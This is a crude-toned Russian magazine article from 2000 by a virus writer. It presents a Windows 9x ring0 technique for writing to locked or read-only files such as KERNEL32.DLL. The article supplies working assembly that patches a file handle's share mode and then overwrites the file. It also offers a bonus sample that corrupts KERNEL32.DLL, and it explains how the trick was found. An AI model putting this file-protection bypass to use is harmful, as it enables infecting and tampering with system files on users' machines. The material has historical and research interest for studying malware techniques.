15.04.2000 Win9X: Пишем в закрытые для записи файлы [Z0mbie]

   Итак,  ВОТ  ОНО!!!  После нескольких часов ковыряния маздая и упорного
разглядывания  хексов  родились  две  ассемблерные команды, чему я весьма
рад,  ибо  давно  было  пора.  Но,  как  говорится, лучше послезавтра чем
завтра, и поэтому вам представляется взъеб маздайных шар (в ring0):


; EBX=ring0 file handle, file may be opened in read-only mode
 mov     eax, [ebx+0Ch]            ; get some fucking pointer
 mov     byte ptr [eax+0Ch], 42h   ; set openmode to denynone, read-write


   Хотите еще? Ну тогда вот вам полный экземпл записи в KERNEL32.DLL, аки
же  в  любой  другой файл независимо от того, открыт ли он, системный или
еще какая хуйня:

 ...
 mov     eax, R0_OPENCREATFILE
 mov     bx, 2044h       ; no i24, denynone, r/o
 mov     cx, 32          ; archive (unused here)
 mov     dx, 01h         ; fail | open
 lea     esi, filename
 VxDcall IFSMGR, Ring0_FileIO
 xchg    ebx, eax

 mov     eax, [ebx+0Ch]  ; fuck share:
 mov     byte ptr [eax+0Ch], 42h ; denynone, read-write

 mov     eax, R0_WRITEFILE
 mov     ecx, size buf
 xor     edx, edx      ; filepos
 lea     esi, buf
 VxDcall IFSMGR, Ring0_FileIO

 mov     eax, R0_CLOSEFILE
 VxDcall IFSMGR, Ring0_FileIO
 ...


   С  ring3 дело обстоит сложнее: чтобы наебать шары нужен хендл нулевого
кольца,  а  сгенерить его из ring3-хендла не так-то просто. Есть, правда,
функция:  IFSMGR_Win32_Get_Ring0_Handle,  но  она глюкавая и хуево как-то
вызывается.

   Метод, который применялся чтобы до всего этого допереть:
1. замечаем, что хендл файла в нулевом кольце суть поинтер куда-то-там
2. дальше видим, что по этому адресу (хендлу) куча офсетов
3. открываем два файла - один readonly и один readwrite
4. дампим и сравниваем память куда показывают офсеты из обоих хендлов
5. повторяем до полного охуения либо пока не станет все понятно ;-)

   Кроме  всего  прочего  было замечено: после 'mov eax, [ebx+0Ch]' в eax
будет  поинтер  на  структуру,  первый  дворд  которой  суть  поинтер  на
следующую  такую  же  структуру.  Из  этого можно поиметь например сканер
хендлов.

   В  качестве  бонуса  прилагается пример инвертирования первого байта в
KERNEL32.DLL,  а  так  же  инклюдники  для  перехода и работы с файлами в
ring0: w9xshare.zip

                             Z0MBiE, http://z0mbie.cjb.net
      
Статья для журнала Top Device